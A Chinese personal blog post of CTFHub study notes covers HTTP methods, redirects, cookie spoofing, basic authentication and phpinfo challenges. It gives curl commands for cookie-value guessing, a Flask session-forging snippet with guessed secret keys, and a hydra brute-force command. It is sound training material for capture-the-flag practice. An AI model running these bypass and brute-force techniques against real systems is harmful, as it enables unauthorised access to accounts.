CTF_learning

学习资源 - CTF Wiki
CTFHub

基础知识

  • 一般情况下flag拥有固定格式为flag{xxxxx},有些比赛会把flag关键词替换,例如我们CTFHub平台的flag为ctfhub{xxxxx},利用固定格式来反推flag也是一种常见的解题思路

竞赛模式:

竞赛模式 | CTFHub

Jeopardy-解题

题目类型主要包含 Web 网络攻防 、 RE 逆向工程 、 Pwn 二进制漏洞利用 、 Crypto 密码攻击以及 Misc 安全杂项 这五个类别,个别比赛会根据题目类型进行扩展。

Have a try

CTFHub|HTTP协议

HTTP 请求方法是什么?
HTTP 协议中定义了常见的请求方法,比如:

  • GET(获取数据)

  • POST(提交数据)

  • PUT(上传文件)

  • DELETE(删除资源)

  • 等等(如题目中提到的 OPTIONSHEADTRACECONNECT)。
    但题目要求你用的方法不在这些标准方法里,比如可能是 CTFHUBFLAG 这种自定义方法。

  • 方法1:用curl工具(命令行工具)

1
curl -X CTFHUB http://题目网址/

-X 参数可以指定任意 HTTP 方法(如 CTFHUB)。
其中,-v参数用于输出通信的整个过程,包括端口连接和 HTTP request 头信息,让我们可以清晰地看到请求的详细情况。-X参数用于指定 HTTP 请求的方法。在本题中,我们需要将请求方法指定为 “CTFHUB”。

1
curl -v -X CTFHUB http://challenge-4c532e941e569c86.sandbox.ctfhub.com:10800/index.php
  • 方法2:burp抓包

HTTP临时重定向

HTTP 临时重定向(状态码 302 Found)是HTTP协议中一种常见的重定向方式,它告诉客户端请求的资源暂时位于另一个URI下,客户端应当使用GET方法向这个新URI发起请求

工作原理

  1. 客户端向服务器发送请求
  2. 服务器返回302状态码和Location头部
  3. 客户端自动向Location指定的新地址发起GET请求

解题步骤:

  1. 识别重定向
    • 使用浏览器开发者工具查看网络请求
    • 使用curl -v URL 查看详细请求/相应
    • 注意响应中的302 Found状态码和Location头部
  2. 绕过重定向限制
1
2
curl -L URL  # 自动跟随重定向
curl -i URL # 显示原始响应(不跟随重定向)
  1. 分析重定向逻辑:
    • 检查重定向是否有规律
    • 查看是否有重定向循环
    • 检查cookie或session对重定向的影响

1
curl -v http://challenge-bc8c3e1ba08f24e1.sandbox.ctfhub.com:10800/index.php

Cookie欺骗、认证、伪造

  1. Cookie基础分析
    先试用curl或浏览器查看cookie设置
1
curl -v http://target.com/login

常见Cookie安全属性:

  • HttpOnly - 阻止JavaScript访问
  • Secure - 仅HTTPS传输
  • SameSite - 限制跨站请求
  • Expires/Max-Age - 控制有效期
  1. Cookie欺骗攻击
    方法1:直接修改Cookie值
1
curl -b "user=admin" http://target.com/dashboard

方法2:布尔型cookie欺骗

1
2
3
4
# 尝试各种布尔值变体
curl -b "admin=true" http://target.com/admin
curl -b "admin=1" http://target.com/admin
curl -b "admin=on" http://target.com/admin

方法3:数字型Cookie递增

1
2
3
for i in {0..9}; do
curl -b "role=$i" http://target.com/admin | grep flag
done
  1. cookie认证绕过
    方法1:删除Cookie测试
1
2
curl -v http://target.com/admin
# 不发送任何Cookie看响应

方法2:空值Cookie测试

1
curl -b "session=" http://target.com/admin

方法3:常见Cookie名称爆破

1
2
3
for cookie in session token auth userid; do
curl -b "$cookie=admin" http://target.com/admin
done
  1. Cookie 伪造攻击
    方法1:JWT令牌攻击
1
2
#解码JWT
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxx" | jq -R 'split(".") | .[0],.[1] | @base64d'

方法2:Flask session伪造

1
2
3
4
5
import hashlib
from itsdangerous import URLSafeTimedSerializer
secret_key = 'guessme' # 尝试常见密钥
serializer = URLSafeTimedSerializer(secret_key)
print(serializer.dumps({'user':'admin'}))

方法3:查看cookie编码方式

1
2
3
4
# Base64解码示例
echo "dXNlcj1ndWVzdA==" | base64 -d
# URL解码示例
echo "%7B%22user%22%3A%22test%22%7D" | python -c "import sys, urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))"


先尝试了cookie欺骗:

发现布尔型欺骗可以得到flag

基本认证

HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。

认证流程

  1. 客户端访问受保护资源
  2. 服务器返回401 Unauthorized,包含WWW-Authenticate: Basic
  3. 客户端弹出登录框,用户输入凭据
  4. 浏览器将用户名密码用Base64编码后发送Authorization: Basic <credentials>
  5. 服务器验证通过后返回资源

识别基本认证

使用curl检测

1
2
curl -v http://target.com/protected
# 会返回401和WWW-Authenticate头

响应特征

1
2
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Restricted Area"

常见的攻击方法:

方法1:暴力破解

1
2
# 使用hydra暴力破解
hydra -L users.txt -P passwords.txt target.com http-get /protected

方法2:Base64解码/编码

1
2
3
4
5
# 解码发现的凭证
echo "dXNlcm5hbWU6cGFzc3dvcmQ=" | base64 -d

# 编码自定义凭证
echo "admin:secret" | base64

方法3:直接发送认证头

1
2
3
4
5
# 使用已知凭据
curl -H "Authorization: Basic YWRtaW46c2VjcmV0" http://target.com/protected

# 或使用curl的-u参数
curl -u admin:secret http://target.com/protected

通过暴力破解后找到答案

image-20250711215126386

查看phpinfo


解题方法,点击查看之后搜索页面中的 ctfhub{ 即可找到。


CTF_learning
https://pqcu77.github.io/2025/07/11/CTF-learning/
作者
linqt
发布于
2025年7月11日
许可协议